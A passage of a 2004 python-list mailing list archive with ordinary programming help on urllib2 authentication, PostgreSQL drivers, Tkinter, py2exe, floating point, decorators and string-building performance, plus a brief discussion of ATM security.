tool. That customer doesn't want to know anything about python or function calls even though underneath the covers that's what they are getting. At the same time, the testers want the full scripting power of python. To make life even more fun, there is a C++ front end and C++ back end that deal with many processes over many nodes. Some of the commands are syncronous and return a value that feed into the python name space and others are asyncronous that may implode somewhere in the future and need to bring the whole mess to some sane state to handle the problem I guess it is my own private hell to work on. Your change seems to work great! Thanks, Jack > > > Peter > From timr at probo.com Sat Sep 11 02:04:15 2004 From: timr at probo.com (Tim Roberts) Date: Fri, 10 Sep 2004 23:04:15 -0700 Subject: Postgresql - Preferred Python Library References: <4140e595$0$22790$5a62ac22@per-qv1-newsreader-01.iinet.net.au> <mailman.3128.1094781255.5135.python-list@python.org> Message-ID: <j855k0l6a5k1mm6usco0tevrk50t5u6oat@4ax.com> Cliff Wells <clifford.wells at comcast.net> wrote: >On Thu, 2004-09-09 at 16:21, Graeme Matthew wrote: >> >> I have noticed that there are a numbe rof client libraries for connecting to >> Postgres. >> >> Can anyone tell me what is the recommended Python library for database >> connections > >I'd strongly recommend psycopg. I've used both psycopg and the pgsql >module and found psycopg to be much more stable. So have I, and I wish I could quantify the difference. It's not like pyPgSQL crashes on me every day, but there's something intangible about psycopg that appeals to me. I've switched to it everywhere. -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From googlemike at hotpop.com Wed Sep 1 20:39:31 2004 From: googlemike at hotpop.com (Google Mike) Date: 1 Sep 2004 17:39:31 -0700 Subject: How do I set gtk.RadioButton font? Message-ID: <25d8d6a8.0409011639.13f62d65@posting.google.com> I've got pyGTK 2-1.99.14 (which comes with my RH9 Linux). Does anyone know how to set the gtk.RadioButton font? I'm finding the font size too big for an application I need to build. From carribeiro at gmail.com Sat Sep 25 00:14:10 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Sat, 25 Sep 2004 01:14:10 -0300 Subject: Why not FP for Money? In-Reply-To: <7xisa3gllf.fsf@ruckus.brouhaha.com> References: <A128D751272CD411BC9200508BC2194D053C79D3@escpl.tcp.com.ar> <mailman.3872.1096056806.5135.python-list@python.org> <cj2ehb$h95$0$216.39.172.122@theriver.com> <mailman.3884.1096073978.5135.python-list@python.org> <7xisa3gllf.fsf@ruckus.brouhaha.com> Message-ID: <864d370904092421141a20e70@mail.gmail.com> On 24 Sep 2004 18:53:48 -0700, Paul Rubin <"http://phr.cx"@nospam.invalid> wrote: > Carlos Ribeiro <carribeiro at gmail.com> writes: > > That's it -- there's a context object. And that's what should be used > > for fixed point too. I also liked your 10d3 example -- it's a nice > > extension to the basic syntax. > > Heh, I thought that notation was reserved for Python 2.5's function > for rolling ten 3-sided dice ;-) I was about to tell the same joke but I was afraid that many people would miss it :-) -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From sharidas at zeomega.com Tue Sep 28 01:14:04 2004 From: sharidas at zeomega.com (Satchidanand Haridas) Date: Tue, 28 Sep 2004 10:44:04 +0530 Subject: A Question.... In-Reply-To: <20040928043411.27624.qmail@webmail26.rediffmail.com> References: <20040928043411.27624.qmail@webmail26.rediffmail.com> Message-ID: <4158F31C.2010207@zeomega.com> Hi, Checkout py2exe for creating stand-alone executables of python programs: http://starship.python.net/crew/theller/py2exe/ For creating installers, checkout InnoSetup: http://www.jrsoftware.org/ regards, Satchit Sandeep Avinash Gohad wrote: > >Hi > >How to create ".exe" file of any python program.As after creating the ".exe" file I can run the program without python software, >Also the same with Unix or Linux operating System. >Is there any tool available to create the setup of any program. >Like we have the tools like "install-shield" or "Package & Deployment" >I am interested in developing a data-base related program with python >so if u know any useful links please send it to me. > >Thanx >Sandeep > > From programmer.py at gmail.com Thu Sep 16 08:49:36 2004 From: programmer.py at gmail.com (Jaime Wyant) Date: Thu, 16 Sep 2004 07:49:36 -0500 Subject: HTTP - basic authentication example. In-Reply-To: <6f402501040916022738bd70b5@mail.gmail.com> References: <6f402501.0409150737.1bfc6958@posting.google.com> <d52c72d2040915092132ce7c34@mail.gmail.com> <6f402501040916022738bd70b5@mail.gmail.com> Message-ID: <d52c72d204091605495b8e7bb9@mail.gmail.com> On Thu, 16 Sep 2004 10:27:22 +0100, Michael Foord <fuzzyman at gmail.com> wrote: > Cool, that is helpful. > The difficulties I would have with that approach are two fold - first > I use ClientCookie and have to install that as the handler. I may be > able to use an auth handler *as well* (I *think* yo ucan chain them > ?). > Yes, you can chain them together, I believe, as long as they "handle" different things. My version is a quick hack that specifically gets me around the firewall here at work. I think the *correct* way to do this Basic Authentication is (from urllib2.py): # set up authentication info authinfo = urllib2.HTTPBasicAuthHandler() authinfo.add_password('realm', 'host', 'username', 'password') proxy_support = urllib2.ProxyHandler({"http" : "http://ahad-haam:3128"}) # build a new opener that adds authentication and caching FTP handlers opener = urllib2.build_opener(proxy_support, authinfo, urllib2.CacheFTPHandler) # install it urllib2.install_opener(opener) f = urllib2.urlopen('http://www.python.org/') I'm not sure what a ClientCookie is (didn't see it in my docs.) Assuming that it is just a wrapper around the cookie, then you probably only need the HTTP headers. You can grab the HTTP headers from the object returned by urllib2.urlopen(). filelike_obj = urllib2.urlopen('http://www.python.org/') headers = filelike_obj.info() server_type = headers.getheader( "SERVER") Maybe you can feed the Cookie header to the ClientCookie ctor? HTH, jw > The second is that I think I need to take realm into account... I may > be handling multiple password/username combinations. > > Anyway - I still find what you've sent useful - thanks. > > Fuzzy > > > > > On Wed, 15 Sep 2004 11:21:21 -0500, Jaime Wyant <programmer.py at gmail.com> wrote: > > FWIW, this is how I handle Basic Authentication: > > > > import urllib2 > > import sys > > > > class AuthenticateAllURIs: > > """This class authenticates all Basic Authentication using uname > > / pword.""" > > def __init__(self,uname,pword): > > self.uname = uname > > self.pword = pword > > > > def find_user_password(self, realm, host): > > # Note, that this class doesn't take `realm' into consideration. > > return self.uname, self.pword > > > > def add_password( self, realm, uri, user, password ): > > pass > > > > auth = urllib2.ProxyBasicAuthHandler(AuthenticateAllURIs('umjaw', 'fuse3')) > > opener = urllib2.build_opener( auth ) > > urllib2.install_opener( opener ) > > wp = urllib2.urlopen("http://www.slashdot.org") > > print wp.read() > > > > HTH, > > jw > > > > On 15 Sep 2004 08:37:12 -0700, Michael Foord <fuzzyman at gmail.com> wrote: > > [ snip! ] > > > > > -- > http://www.Voidspace.org.uk > The Place where headspace meets cyberspace. Online resource site - > covering science, technology, computing, cyberpunk, psychology, > spirituality, fiction and more. > > --- > http://www.Voidspace.org.uk/atlantibots/pythonutils.html > Python utilities, modules and apps. > Including Nanagram, Dirwatcher and more. > --- > http://www.fuchsiashockz.co.uk > http://groups.yahoo.com/group/void-shockz > --- > > Everyone has talent. What is rare is the courage to follow talent > to the dark place where it leads. -Erica Jong > Ambition is a poor excuse for not having sense enough to be lazy. > -Milan Kundera > From http Tue Sep 28 06:07:04 2004 From: http (Paul Rubin) Date: 28 Sep 2004 03:07:04 -0700 Subject: floating point glitch References: <415295E6.9040602@ericsson.com> <l5ncl0horoifsmbadp6pu3sgje8ca2srf3@4ax.com> <cj5v5i$7vk$1@pegasus.csx.cam.ac.uk> <7xhdple624.fsf@ruckus.brouhaha.com> <kj0il0ddfqg7tebggk6qbnm6cvp5jumt87@4ax.com> <m2lleusrgo.fsf@mycroft.actrix.gen.nz> <7xis9yoilc.fsf@ruckus.brouhaha.com> <wz3c12k9hv.fsf@ordesa.cs.uu.nl> Message-ID: <7xr7omg113.fsf@ruckus.brouhaha.com> Piet van Oostrum <piet at cs.uu.nl> writes: > PR> Nah, you can do that by printing everything as zero. > > That would not maintain print/read consistency, i.e. if you read back the > printed value you don't get the original value. The current conversion doesn't have that property. >>> a=.66+1e-13 >>> print a 0.66 >>> b=0.66 >>> a==b False From jjl at pobox.com Sun Sep 19 16:25:33 2004 From: jjl at pobox.com (John J. Lee) Date: 19 Sep 2004 21:25:33 +0100 Subject: bad data from urllib when run from MS .bat file References: <414cb56d$0$58900$75868355@news.frii.net> Message-ID: <87acvmxayq.fsf@pobox.com> "Stuart McGraw" <smcg4191 at frii.RimoovThisToReply.com> writes: [...] > 2. Create a batch file that will run test.py: > test.bat: > ---------------- > python test.py http://etext.lib.virginia.edu/cgi-local/breen/wwwjdic?1W%BF%A9%A4%D9%A4%EB_v1 > ---------------- > > 3. In a cmd.exe window run the following two commands: > python test.py http://etext.lib.virginia.edu/cgi-local/breen/wwwjdic?1W%BF%A9%A4%D9%A4%EB_v1 >out1.txt > test.bat >out2.txt > > 4. out1.txt and out2.txt should be identical. But they are not. [...] > Running with a debugger shows that the corruption is in the text > received from urllib; it is not a result of the euc-jp decoding, > UTF-8 encoding, or writing to the output file. Hmm... > So it looks like some bad mojo between urllib and the Windows > batch environment. Just a guess, without actually bothering to think about the numerology in detail: test.bat: ---------------- python -u test.py http://etext.lib.virginia.edu/cgi-local/breen/wwwjdic?1W%BF%A9%A4%D9%A4%EB_v1 ---------------- Note the -u switch (for 'unbuffered', but also 'um, binary mode' <wink>). John From tungwaiyip at yahoo.com Thu Sep 2 12:52:58 2004 From: tungwaiyip at yahoo.com (Wai Yip Tung) Date: Thu, 02 Sep 2004 09:52:58 -0700 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <opsdpkf1d5433nmu@news.cisco.com> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> Message-ID: <opsdpk6kx9433nmu@news.cisco.com> Oops I misunderstood that you said about count and index. Now I got it. Speaking as a user of Python, here is my take: You consider tuple an immutable version of list. But in Python's design they have different purpose. List a collection of homogeneous items, while tuple is a convenient grouping of any kind of items. For example, you can use them this way: users = ['admin', 'user1', 'user2'] address = ('www.python.org', 80) index and count only make sense when the collection is homogeneous. Therefore they are not defined for tuple. tung On Thu, 02 Sep 2004 17:40:27 +0100, Will McGugan <news at NOwillmcguganSPAM.com> wrote: > Wai Yip Tung wrote: > >> I'm not sure what do you mean by index. But you can use len() to get >> the number of objects in a tuple. e.g. >> >>>>> t=(1,2,3) >>>>> len(t) >> 3 >> >>>>> t[2] >> 3 >> > > Lista have an index method that returns the index of the first occurance > of an element, but tuple doesnt (nor count). Just wondering why. > > >>> l= [ 1, 2, 3 ] > >>> t= ( 1, 2, 3 ) > >>> l.index(2) > 1 > >>> t.index(2) > Traceback (most recent call last): > File "<pyshell#8>", line 1, in ? > t.index(2) > AttributeError: 'tuple' object has no attribute 'index' From nid_oizo at yahoo.com_removethe_ Sat Sep 4 17:17:21 2004 From: nid_oizo at yahoo.com_removethe_ (Nicolas Fleury) Date: Sat, 04 Sep 2004 17:17:21 -0400 Subject: Check existence of members/methods In-Reply-To: <1gjk0oi.1bn85pv6h55h4N%aleaxit@yahoo.com> References: <qaNZc.23386$CG3.1553602@news20.bellglobal.com> <1gjk0oi.1bn85pv6h55h4N%aleaxit@yahoo.com> Message-ID: <kgq_c.80431$Vx2.1792281@wagner.videotron.net> Alex Martelli wrote: > try: meth = object.setXmlFilename > except AttributeError: meth = lambda x: setattr(object,'xmlFilename',x) > meth(currentFillename) > > This doesn't assume that object.xmlFilename must already exist before > you can set it, which IS implied by your code here quoted -- it just > seems a slightly weird condition to me. In my case, a xml parser/saving creating objects corresponding to elements and vice-versa, forcing the existence of members before setting them makes the code more readable (and avoid a lot of errors). I agree it would be a weird restriction in other situations. > I personally prefer the try/except/else variant: > > try: meth = object.setXmlFilename > except AttributeError: object.xmlFilename = x > else: meth(currentFillename) > > it seems way simpler to me. However, if you think of objects lacking a > setter method as weird and exceptional ones, I see why this might seem > backwards. Personally, I consider setter methods the anomaly (it's > exactly to avoid them that we have property...:-) but I do understand > they're frequently used. If I often had to fight with objects full of > getThis, setThat methods I'd wrap them into a generic wrapper with a > __setattr__ and __getattr__ to be able to use attribute get and set as > common sense and decency require, e.g, something like....: Actually, I prefer the "hasattr" solution. I'm thinking of removing the setter functionality from the parser. If some class needs to do specific stuff when a member is updated, as you said, the built-in function property can still be used. Regards, Nicolas From benn at cenix-bioscience.com Mon Sep 6 04:04:35 2004 From: benn at cenix-bioscience.com (Neil Benn) Date: Mon, 06 Sep 2004 10:04:35 +0200 Subject: How to actually write a program? In-Reply-To: <chano0$1gv$1@sparta.btinternet.com> References: <chano0$1gv$1@sparta.btinternet.com> Message-ID: <413C1A13.7020709@cenix-bioscience.com> Nick Evans wrote: >Hello there, >I have been on and off learning to code (with python being the second >language I have worked on after a bit of BASIC). What I really want to know >is, if you are going to actually write a program or a project of some sort, >how do you actually start. > > <snip> Hello, It's good that you are thinking of this rather than just trying to manically write some code to see what happens. As a general point, there is a system that you can use to help you model out your program (taught to most computer science students). This system is called UML (Unified Modeling Language) - I would advise getting a good book about UML and reading through that. It's is complementary to the XP (Extreme Programming) stuff that people are talking about. However, be aware that some of the concepts assumed in UML don't mix too well to the 'Pythonic' way of doing things. If you want to have a try writing some UML here are two systems you can get - there are others - (I can't remember the links off the top of my head) they are an OpenSource system called 'ArgoUML' or the community edition of 'Together' from Borland. Personally I prefer Together. Cheers, Neil -- Neil Benn Senior Automation Engineer Cenix BioScience BioInnovations Zentrum Tatzberg 47 D-01307 Dresden Germany Tel : +49 (0)351 4173 154 e-mail : benn at cenix-bioscience.com Cenix Website : http://www.cenix-bioscience.com From guettli at thomas-guettler.de Wed Sep 29 09:18:29 2004 From: guettli at thomas-guettler.de (Thomas Guettler) Date: Wed, 29 Sep 2004 15:18:29 +0200 Subject: Program that can find a find a file for you ? References: <415a7f87$0$13730$ba624c82@nntp03.dk.telia.net> Message-ID: <pan.2004.09.29.13.18.28.288793@thomas-guettler.de> Am Wed, 29 Sep 2004 11:25:39 +0200 schrieb Peter Hansen: > Greetings. > > Im trying to write a program that can be run from the command line. > If I want to search for example after a file with the ending .pdf, I should > be able to write in the command line: > python name of my program / the libary to search and what kind of file it > is example a .pdf file > So if my program name was test.py and the library name was library1 and the > test type i wanted to find was, a .pdf file > I should write python test.py /library1 .pdf Hi, This is something the "find" command does in a unix environment. Here is my solution: You could use this: find.py your_path 'library1.*\.pdf$' #!/usr/bin/env python # -*- coding: iso-8859-1 -*- # Python Imports import os import re import sys def usage(): print """Usage: %s path regex Print all files or directories with match the regex. See this URL for the syntax of the regular expressions http://docs.python.org/lib/re-syntax.html """ % (os.path.basename(sys.argv[0])) def visit(regex, dirname, names): for name in names: p=os.path.join(dirname, name) if regex.search(p): print p def main(): if len(sys.argv)!=3: usage() sys.exit(1) path=sys.argv[1] regex=sys.argv[2] os.chdir(path) regex=re.compile(regex) os.path.walk(".", visit, regex) if __name__=="__main__": main() From martindemello at yahoo.com Wed Sep 1 03:14:39 2004 From: martindemello at yahoo.com (Martin DeMello) Date: Wed, 01 Sep 2004 07:14:39 GMT Subject: Splitting a list References: <mailman.2673.1093960462.5135.python-list@python.org> Message-ID: <zFeZc.277543$M95.227427@pd7tw1no> Ian Sparks <Ian.Sparks at etrials.com> wrote: > string.split() is very useful, but what if I want to split a list of integers on some element value? > > e.g. : > > >> l = [1,2,3,-1,4,5,-1,8,9] > >> l.split(-1) > >> [[1,2,3],[4,5],[8,9]] reduce (lambda a, i: i == elem and (a + [[]]) or (a[:-1] + [a[-1]+[i]]), l, [[]]) martin From ml at dynkin.com Wed Sep 29 14:31:50 2004 From: ml at dynkin.com (George Yoshida) Date: Thu, 30 Sep 2004 03:31:50 +0900 Subject: interactive help on string functions - howto In-Reply-To: <415aede9$0$24598$ba620e4c@news.skynet.be> References: <415aede9$0$24598$ba620e4c@news.skynet.be> Message-ID: <cjev0n$22ne$1@dojima-n0.hi-ho.ne.jp> Helmut Jarausch wrote: > entering > help('rstrip') > or > help('ljust') > > into IDLE's shell window I only get > no Python documentation found ... > > Am I missing something? You need to remove quotes from arguments, i.e., >>> help(rstrip) # help('rstrip') is a no-no I have to say this error message is really annoying. You can't guess what went wrong from it. George From eric_brunel at despammed.com Fri Sep 10 03:54:49 2004 From: eric_brunel at despammed.com (Eric Brunel) Date: Fri, 10 Sep 2004 09:54:49 +0200 Subject: Changing state of buttons. References: <41d499da.0409090946.37bc2739@posting.google.com> Message-ID: <chrm5f$6bc$1@news-reader4.wanadoo.fr> Jamey Saunders wrote: > Hi all, > > I'm just learning Python (I'm about 8 hours in so far), and I have a > problem. I'm writing a small Windows app using Tkinter. I have two > buttons on my screen that I want to start in an inactive state > (already have that working) and when two input fields have some data > input, the buttons would become active. What's the best way to go > about changing the state of buttons that already exist? > > Thanks! I'm not sure I understand the meaning of your question: if it's really about changing the state of an existing widget, a simple widget.configure(state=NORMAL) will do what you want. But the tricky part of what you want to do does not seem to be there: doing an action whenever the text of an entry changes is a bit tricky with Tkinter. Here is an example: ---------------------------------------------------------- from Tkinter import * root = Tk() ## Create the entry and associated variable v = StringVar() e = Entry(root, textvariable=v) e.pack(side=TOP) ## Create the button b = Button(root, text='OK', command=root.quit, state=DISABLED) b.pack(side=TOP) ## Function making the button active if needed def makeBActive(*args): ## If there is something in the entry, activate the button if v.get().strip(): b.configure(state=NORMAL) ## Otherwise de-activate it else: b.configure(state=DISABLED) ## Whenever a key is released in the entry, call the function above e.bind('<KeyRelease>', makeBActive) root.mainloop() ---------------------------------------------------------- HTH -- - Eric Brunel <eric (underscore) brunel (at) despammed (dot) com> - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From nem at nowhere.invalid Wed Sep 1 02:27:55 2004 From: nem at nowhere.invalid (Nemesis) Date: 1 Sep 2004 06:27:55 GMT Subject: GUI Designer References: <wU0Zc.9845$7i2.529166@news20.bellglobal.com> Message-ID: <ch3q5b$o17$1@e3k.asi.ansaldo.it> "A.M" wrote: > Do we have any OpenSource GUI designer for Python ? If you want only to design the GUI, you can use Glade, it produces an XML description of the GUI, and then you can use libglade+pygtk to load the gui from your application. -- XPN :: http://xpn.altervista.org |\ | |HomePage : http://nem01.altervista.org | \|emesis |XPN (my nr): http://xpn.altervista.org From pm_mon at yahoo.com Fri Sep 3 09:25:45 2004 From: pm_mon at yahoo.com (Paul Morrow) Date: Fri, 03 Sep 2004 09:25:45 -0400 Subject: Are decorators really that different from metaclasses... In-Reply-To: <864d3709040903053113fa8ae9@mail.gmail.com> References: <e69d3ed204082608183634bab@mail.gmail.com> <cglg26$ehg$3@sea.gmane.org> <e69d3ed2040827083448c31d45@mail.gmail.com> <mailman.2548.1093646396.5135.python-list@python.org> <cgosmb$ki0$0$216.39.172.122@theriver.com> <mailman.2562.1093697125.5135.python-list@python.org> <HBF.20040901iia9@bombur.uio.no> <ch5mkq$tb1$1@sea.gmane.org> <20040902024221.GA3626@unpythonic.net> <ch6umj$74i$1@sea.gmane.org> <20040902134641.GE24397@unpythonic.net> <loom.20040902T173546-648@post.gmane.org> <e69d3ed204090302065c15e0a1@mail.gmail.com> <ch9hls$600$1@sea.gmane.org> <864d3709040903053113fa8ae9@mail.gmail.com> Message-ID: <ch9rcm$nt6$1@sea.gmane.org> Carlos Ribeiro wrote: > As for the actual idea, I don't like it. Jeff Shannon put it our > perfectly -- it violates the "law of the least surprise". Just as a > comparison, imagine the following scenario: a common naming convention > is to use full uppercase names for constants. Of course, there are no > real constants in Python, so we know its just a naming convention. > What if the grammar was changed to turn uppercase names into real > constants? Many of the arguments used in this discussion apply here as > well. It's easy to see that it's not a good idea. > Is your grammar change likely to break a significant amount of existing code? If so, then it would probably be a bad idea. But in and of itself it is *not* a bad idea (making uppercase names be constants). Prolog, for example, requires that all variable names start with an upper case letter. Weird until you get used to it (then it's a useful namespace partitioning device). > p.s. As for the discussion itself... > > [Paul Morrow] > >>[Anthony Baxter] >> >>>I stand by my earlier comments that this is all just hand-waving and >>>fluff. There's been little concrete effort by Paul to actually spell >>>out his proposal. >> >>I thought that you were done with this thread. You probably should be >>as you obviously can't follow what we're talking about here. Most of >>the others seem to. They don't agree with me, that's clear. But they >>do appear to understand what I am proposing. > > > You have to bear in mind that your proposal is not the first such idea > to pop up in existence in this mailing list over the years. And most > of the time, the idea is beaten up to death, exhausting everyone in > the process, until one of the sides just gets too tired to keep > fighting. In some cases, the idea may come up as a winner, but is the > cost really worth it? > What are you talking about here? Are you suggesting that ideas should not be thoroughly discussed, 'beaten up'? That they should just be quickly accepted or dismissed based on a cursory look? Is the cost really worth it? How can you answer that question outside of any particular context? It's taken me three years at my company to convince them to stop using Java for application development and use Python instead. That was an uphill battle all the way. Was it worth it? Paul From deetsNOSPAM at web.de Sat Sep 11 13:01:35 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Sat, 11 Sep 2004 19:01:35 +0200 Subject: Mail extraction problem (something's wrong with split methods) References: <pan.2004.09.11.16.21.15.772439@public.srce.hr> Message-ID: <chvb1c$tj6$00$1@news.t-online.com> > File "OTPAenc_dec.py", line 258, in decr > enc = [int(elem) for elem in split] > ValueError: invalid literal for int(): 6730' The problem is the trailing ' in your number - that of course can't be converted. And I see that the number 6573 has similar problems - it has a leading '. So your splitting code does not work, or your data is malformed - without more information, I can't say anything about that, but it seems to me the latter is the case. -- Regards, Diez B. Roggisch From peter at engcorp.com Tue Sep 14 08:13:23 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 14 Sep 2004 08:13:23 -0400 Subject: Electronic voting feasibility In-Reply-To: <W%A1d.27558$Z14.9489@news.indigo.ie> References: <mailman.3140.1094820652.5135.python-list@python.org> <otKdnctyIcclNtzcRVn-gg@giganews.com> <28KdnThSO7DtM9zcRVn-pQ@powergate.ca> <8PWdnfxkGeIFWNzcRVn-qQ@giganews.com> <K9ydnRpo-6dZVdzcRVn-vw@powergate.ca> <JtmdnS-gR__-U9zcRVn-iQ@giganews.com> <_4KdnfDylt2TSdzcRVn-pg@powergate.ca> <Xns95643A12D5B1BJanC@213.118.38.197> <W%A1d.27558$Z14.9489@news.indigo.ie> Message-ID: <7MudnQ1_PYv5fdvcRVn-og@powergate.ca> Alan Kennedy wrote: > [JanC] > >> They are very competent security gurus: >> <http://www.theregister.co.uk/2003/11/25/nachi_worm_infected_diebold_atms/> > > Hmm, I read the content of that link, and I can't see anything that > would reassure me that Diebold are/employ competent security people. You snipped JanC's winkey ;-) from the above... it was clearly sarcasm, not a serious comment. > Quite the opposite in fact: Agreed... the fact that a company would use Windows as the basis for their ATMs is a direct indication of incompetence in the security field. :-( > And their performance in keeping watch on vulnerabilities doesn't > inspire confidence: "A patch for the critical RPC DCOM hole had been > available from Microsoft for over a month at the time of the attack, but > Diebold had neglected to install it in the infected machines." To be fair, though why I would want to be to these bumbling fools is beyond me, they did say that they were testing the patch. If we believe that (and I don't, but I'll give them the benefit of the doubt here anyway), then it's a pretty reasonable and professional thing to do and a one-month delay, while lengthy, is perhaps not excessive. > Interesting that Diebold are now installing firewalls in their ATMs. It > seems to me that any "security guru" with a basic clue about network > security would have been doing that since the first day the ATMachines > were connected to a network. Firewalls in this case seem more like a bandaid, unfortunately. Better to design the things to be secure in the first place and you wouldn't even *need* the firewall. -Peter From jjl at pobox.com Sat Sep 18 10:03:53 2004 From: jjl at pobox.com (John J. Lee) Date: 18 Sep 2004 15:03:53 +0100 Subject: HTTP - basic authentication example. References: <6f402501.0409150737.1bfc6958@posting.google.com> <d52c72d2040915092132ce7c34@mail.gmail.com> <6f402501040916022738bd70b5@mail.gmail.com> <mailman.3402.1095338985.5135.python-list@python.org> <6f402501.0409170026.36f24761@posting.google.com> Message-ID: <87isabn06u.fsf@pobox.com> fuzzyman at gmail.com (Michael Foord) writes: > Jaime Wyant <programmer.py at gmail.com> wrote in message news:<mailman.3402.1095338985.5135.python-list at python.org>... [...] > have found it in your docs). This means I have a ClientCookie handler > handling all my http requests.... I wonder if I can use an AuthHandler > as well ? There will be situations where I am likely to want to add an > Authroize header *and* handle cookies - ClientCookie manages all the > cookies in a way that I couldn't do manually. Sure, cookielib.HTTPCookieProcessor (or ClientCookie.HTTPCookieProcessor) should work fine with all other urllib2 handlers. Cookies and Basic HTTP Authentication are quite distinct and separate in their implementation at the HTTP level. Assuming Python 2.4 (UNTESTED -- I haven't recently had occasion to use any auth.): import urllib2 import cookielib import ClientCookie # for some more urllib2 handlers, for good measure ;-) def build_opener(realm, uri, user, password): ch = cookielib.HTTPCookieProcessor() mgr = HTTPPasswordMgr() mgr.add_password(realm, uri, user, password) ah = urllib2.HTTPBasicAuthHandler(mgr) yet_more_handlers = [ClientCookie.HTTPRefreshProcessor(max_time=None), ClientCookie.HTTPEquivProcessor(), ClientCookie.HTTPRobotRulesProcessor(), ] return urllib2.build_opener(ch, ah, *yet_more_handlers) opener = build_opener('myrealm', 'http://example.com/', 'joe', 'joe') opener.open('http://example.com/restricted.html') [...] > The example you gave works I think - HTTPBasicAuthHandler does have an > add_password method, but not the find_user_password that the > HTTPPasswordMgr has... so I can't easily check if it works properly. > In the urllib2 docs it says that passing a password manager in is > optional - but *nowhere* does it document that it has an add_password > method. It may be deducable from the fact that passing in a password > manager is optional - but surely explicit is better than implicit > (especially where documentation is concerned). [...] Tested doc patches posted to the Python sf.net patch tracker are welcome :-) John From carribeiro at gmail.com Tue Sep 14 11:19:28 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 14 Sep 2004 12:19:28 -0300 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: <864d3709040914071939b07fd@mail.gmail.com> References: <mailman.3261.1095106220.5135.python-list@python.org> <1gk3o6h.1gnebbiihpoy9N%aleaxit@yahoo.com> <864d3709040914071939b07fd@mail.gmail.com> Message-ID: <864d37090409140819284dc14c@mail.gmail.com> Alex, Regarding the slash-backslash problem... I found the bug, it was not hard, after all. The problem was a side effect of the way DrPython builds some of its environment variables, and the handling of double slashes in file names. At startup DrPython tries to detect the homedir. The code tries some alternatives; if the envvars or the tilde options are not available, and if the program is running under Win32, then it starts with "c:\". A little bit later, it adds new path components to the path. Guess what happens? The home dir becomes: "c:\\drpython"... ...but double slashes are invalid at that particular position. It seems to be a side effect of the way network shares are named, of course, although I fail to see why it should cause a problem in this particular example. It's no problem if additional slashes are located elsewhere into the middle of the path name. I've fixed it and I'll send the fix to the DrPython guys. In fact, it solved *all* issues I had with DrPython, including some strange lockups that would last for minutes. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From zshutters at comcast.net Fri Sep 10 17:08:52 2004 From: zshutters at comcast.net (Zach Shutters) Date: Fri, 10 Sep 2004 14:08:52 -0700 Subject: dictionaries References: <bcednT5L4IMqid_cRVn-oA@comcast.com> <mailman.3176.1094850275.5135.python-list@python.org> Message-ID: <Aa-dnS_ChPp6it_cRVn-uQ@comcast.com> Ok, I get it thanks! "Steven Bethard" <steven.bethard at gmail.com> wrote in message news:mailman.3176.1094850275.5135.python-list at python.org... > Zach Shutters <zshutters <at> comcast.net> writes: >> >> def function1(): >> print "function1" >> >> def function2(): >> print "function2" >> >> dict = {"1":function1,"2":function2} >> x = input ("1 or 2?") >> >> dict[x]() > > Right idea, wrong type. From the docs at: > > http://docs.python.org/lib/built-in-funcs.html > > ] input( [prompt]) > ] > ] Equivalent to eval(raw_input(prompt)). > > This means that when you use input, it will convert the "1" typed at the > prompt to the integer 1. So your code should either be: > >>>> d = {1:function1, 2:function2} >>>> x = input("1 or 2? ") > 1 or 2? 1 >>>> d[x]() > function1 >>>> > > or > >>>> d = {"1":function1, "2":function2} >>>> x = raw_input("1 or 2? ") > 1 or 2? 1 >>>> d[x]() > function1 > > You also probably shouldn't name your dictionary 'dict' because then you > rebind the name 'dict', which is already the builtin 'dict' function. > > Steve > From siona at chiark.greenend.org.uk Tue Sep 7 12:09:27 2004 From: siona at chiark.greenend.org.uk (Sion Arrowsmith) Date: 07 Sep 2004 17:09:27 +0100 (BST) Subject: adns-python return codes References: <mailman.2835.1094222123.5135.python-list@python.org> Message-ID: <pcz*nD3tq@news.chiark.greenend.org.uk> Josh Close <narshe at gmail.com> wrote: >Does anyone know what the return codes for an mx adns python lookup >are? I know 0 means a valid domain, and anything else isn't, but there >are "no nameservers found" and "timeout" and other things that would >have to be retried again. > >I looked through the source and didn't find anything, and looked >through the gnu adns C source and didn't find anything, but I really >don't know C at all, so I could have missed something. I'd guess you want to be looking at adns.h, specifically the typedef'd enum adns_status (ll. 205--255 in the copy I'm looking at), although I've not looked at how the Python bindings to adns work. If you're not familiar with enums, what you need to know is that it's just a list of symbols defined to be integer values starting with 0 (eg adns_s_ok is 0) and incrementing by one for each new symbol unless a symbol is given an explicit value (adns_s_max_* in this case, used to block out different types of error) -- in which case subsequent symbols start incrementing from this value (so, eg, adns_s_timeout is 30). -- \S -- siona at chiark.greenend.org.uk -- http://www.chaos.org.uk/~sion/ ___ | "Frankly I have no feelings towards penguins one way or the other" \X/ | -- Arthur C. Clarke her nu become? se bera eadward ofdun hl?ddre heafdes b?ce bump bump bump From aleaxit at yahoo.com Wed Sep 22 13:17:01 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 19:17:01 +0200 Subject: Python speed-up References: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net> Message-ID: <1gkj2vn.4w5b464zur5rN%aleaxit@yahoo.com> Guyon Mor?e <gumuz at NO_looze_SPAM.net> wrote: ... > I hope someone can tell me why these are slow. I see many others have offered excellent answers: they all boil down to...: "Strings are immutable; each time you code astring = <some operation on> astring you're making a new string object (and throwing away the old one, unless it's also known by other names), including the times in which you spell this as: astring <someop>= whatever which, since astring is immutable, is only a shortcut for the former." Putting together a big string with a loop of 'bigstring+=piece' is perhaps the best-known performance trap in Python. Python 2.4 has turned somersaults to lessen the penalty you pay for this, but it's still pretty slow compared to "accumulate pieces in a list, ''.join the list when it's done". There's really nothing better than this _in general_. For your specific case, since you know in advance how long you want the resulting sequence to be, you have options: make encoded_text a list of the same length as it will be at the 